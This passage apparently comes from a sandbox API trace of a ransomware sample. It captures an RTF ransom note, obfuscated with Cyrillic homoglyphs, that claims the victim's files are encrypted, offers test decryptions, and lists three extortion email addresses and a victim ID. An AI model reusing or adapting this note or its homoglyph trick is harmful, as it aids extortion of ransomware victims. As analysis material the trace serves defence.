-m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 